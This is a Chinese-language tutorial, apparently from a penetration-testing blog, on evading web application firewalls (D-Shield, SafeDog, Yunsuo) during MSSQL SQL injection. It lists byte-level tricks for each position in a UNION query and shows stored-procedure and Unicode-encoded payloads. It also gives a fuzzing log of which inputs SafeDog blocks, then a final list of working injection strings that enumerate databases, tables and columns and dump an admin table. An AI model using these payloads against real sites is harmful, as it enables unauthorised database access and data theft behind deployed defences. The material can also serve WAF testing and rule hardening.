我们经常利用一些数据库特性来进行WAF绕过。
在MSSQL中,比如可以这样:
浮点数形式:id=1.1union select
科学计数法形式:id=1e0union select
但其实还可以这样子:id=1.eunion select
通过1.e这样的形式,可以用它绕过D盾的SQL注入防护,通过简单的Fuzz,我们来一起探索一下MSsql特性。
常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
位置一:参数和union之间的位置
(1)空白字符
Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
/**/
+
%0a
(2)注释符号
/**/
/*
--
;%00
(3)浮点数
select * from admin where id=1.1union select 1,‘2’,db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,‘2’,db_name() from admin
(5)运算符
包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与(&)、位或(|)、位异或(^)
select username,password,id from admin where id=1-1union select ‘1’,system_user,3 from admin
select username,password,id from admin where id=1e-union select ‘1’,system_user,3 from admin
(6)小区别:
ASPX:[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符
ASP: [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符
单引号:select username,password,id from admin where id=1 and '1’like’1’union select null,null,null
位置二:union和select之间的位置
(1)空白字符
Mssql可以利用的空白字符有: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a 冒号
select * from admin where id=1 union:select 1,‘2’,db_name() from:admin
ASPX:[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行,如%3a%a0、%a0%0a
ASP: [0x01-0x20] 、0x3a
位置三:select和查询参数之间的位置
(1)空白字符
Mssql可以利用的空白字符有: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
%2b + select * from admin where id=1 union select+1,‘2’,db_name() from admin
%2d - select * from admin where id=1 union select-1,‘2’,db_name() from admin
%2e . select * from admin where id=1 union select.1,‘2’,db_name() from admin
%3a : select * from admin where id=1 union select:1,‘2’,db_name() from admin
%7e ~ select * from admin where id=1 union select~1,‘2’,db_name() from admin
位置四:查询参数和from之间的位置
(1)空白字符
Mssql可以利用的空白字符有: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
ASP: [0x01-0x20]、0x2e、[0x30-0x39]、0x45、0x65、[0x80-0xff]
ASPX:[0x00-0x20]、0x2e、[0x30-0x39]、0x45、0x65、
id=1%20union%20select%201,‘2’,db_name()%80from%20admin
db_name与()中间 %00-%20 %80-%ff填充
id=1 union select 1,‘2’,db_name+() from admin
位置五:from后面的位置
(1)空白字符
Mssql可以利用的空白字符有: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a select * from admin where id=1 union:select 1,‘2’,db_name() from:admin
. %2e select * from admin where id=1 union select 1,‘2’,db_name() from.information_schema.SCHEMATA
ASP: [0x01-0x20]、0x2e、0x3a
ASPX: [0x00-0x20]、0x2e、0x3a、[0x80-0xff]
类型一、字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex(‘test’,db_name())
类型二:字符串转换函数
Ascii(‘a’)
Char(‘97’) 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
类型三:其他方式
利用存储过程
mssql的存储过程定义为:
`Declare @s varchar(5000) ``//申明变量@s 类型为varchar(5000)``Set @ ``//给@s变量赋值``Exec(@s) ``//执行@s`
id=1;Exec(‘WA’+‘ITFOR DELAY ‘‘0:0:5’’’)
id=1;declare @test nvarchar(50);set @test=‘wait’+‘for delay ‘‘0:0:5’’’;exec sp_executesql @test
不允许存在引号,替换成hex或者char即可,云锁似乎也可以
id=3 %u0061%u006e%u0064%u0020%u0031%u003d%u0028%u0073%u0065%u006c%u0065%u0063%u0074%u0020%u0074%u006f%u0070%u0020%u0031%u0020%u006e%u0061%u006d%u0065%u0020%u0066%u0072%u006f%u006d%u0020%u0073%u0079%u0073%u006f%u0062%u006a%u0065%u0063%u0074%u0073%u0020%u0077%u0068%u0065%u0072%u0065%u0020%u0078%u0074%u0079%u0070%u0065%u003d%u0030%u0078%u0035%u0035%u0029
转码:http://tool.chinaz.com/tools/unicode.aspx
BYPASS我们可以利用ASP/ASPX IIS 等容器的特性,和脚本语言的特性绕过,比如ASPX的hpp,iis处理%符号的机制。
测试环境 IIS+ASPX+MMSQL+IIS安全狗4.0.2229
简单的判断语句测试
and 不拦截
and 1 拦截
and -1 不拦截
and -1=-1 不拦截
and ~1 不拦截
and ~1=1 拦截
and 1=1 不拦截
差不多判断下 安全狗对负数不是很敏感,对数学运算后的布尔值也不是敏感。
and这块绕过了就可以爆出一些基本的信息了,比如用db_name()、user和@@version 都是可以直接用的,并不会被拦截,至少在我这个版本的狗是这样。
and @@version>~1
and (user|1)>-1
and (db_name()|1)>.1
我们试试直接通过mssql的一些特性来绕过,爆表名的语句
and ~1=(select top 1 name from sysobjects where xtype=‘u’ and name !=‘info’);-- 拦截
and ~1=(select top 1 name from);-- 不拦截
and ~1=(select top 1 name from 1);-- 拦截
and ~1=(select top 1 name from a);-- 拦截
and ~1=(select top 1 name from !);-- 不拦截
可见安全狗在这里拦截的是我们from后面跟字符型或者数字型,我们就只需要找到一个符号来包裹他就可以,在mssql中可以包裹表库名称的符号是[]
确实也不拦截继续往后测试
and ~1=(select top 1 name from[sysobjects] where xtype=‘u’);-- 拦截
and ~1=(select top 1 name from[sysobjects] where xtype=);-- 不拦截
很简单我们在mssql中可以用char 和hex 来编码我们的表名
基本上已经绕过了我们的爆出第一个表名的目的,假如要爆其他的表名 测试发现也是拦截 引号字符而已 用相同的方法绕过即可
其实还有一种方法爆表名利用INFORMATION_SCHEMA,但是安全狗有个设置直接拦截这个关键词,但是不是默认开启的,顺便提一下
union/!1113/
联合注入感觉是个非常简单的bypass过程,因为安全狗的规则把mysql和mssql混为一谈
union 不拦截
union select 拦截
unionselect 拦截
感觉是不是已经很绝望没办法绕过了,不妨试试注释,虽然mssql没有内联注释
union/select/ 不拦截
union/!select/ 拦截
union/!1select/ 不拦截
我们试试闭合他,他还拦截不
我们的最终的payload也构造好了
我们前面讲过mysql的一个绕过手法就是注释加换行,这个其实在mssql中也是成立的,所以直接构造payload
储存过程
你可以把当做万能bypass语句,里面的任何代码安全狗都不会拦截
--------------------------------------------------------------------------------------
id=3 and -2<-1
id=3 and @@version>~1
id=3 and (user|1)>-1
id=3 and (db_name()|1)>.1
id=3 order%01by 1
id=3 and%01(select host_name/**/())<0--
id=3 and%01(select name from %01master%01.%01dbo%01.sysdatabases where dbid=7)<0--
id=3 and%01(select top 1 name from%01 bbs.%01dbo%01.sysobjects where xtype=0x55)<0--
id=3 and%01(select name from%01 sysobjects where xtype=0x55 FOR XML PATH)<0--
id=3 and%01(select name from%01 sysobjects where xtype=char(85) FOR XML PATH)<0--
id=3 and%01(select table_name from%01 information_schema.tables FOR XML PATH)<0--
安全狗屏蔽单引号,接下来必须比较麻烦的方式爆列名,如下变化0来遍历当前库中所有列名,然后查询admin表中是否有ID的列名
id=3 and%01(select top 1 column_name from%01 information_schema.columns where column_name not in(select top 0 column_name from%01 information_schema.columns))<0--
id=3 and%01exists(select ID from%01 admin)<0--
用char不需要上述方法
查数据
id=3 and%01(select top 1 ID from%01 admin)<0--
id=3 and ~1=(select top 1 name from[sysobjects]);--
id=-1 union%01all%01select null,null,null from%01 master.%01dbo%01.sysdatabases
自定义变量
旧版本D盾对cookie是不拦截的。
新版本测试得出D盾对cookie是拦截的。
把传输数据的方式改成表单形式。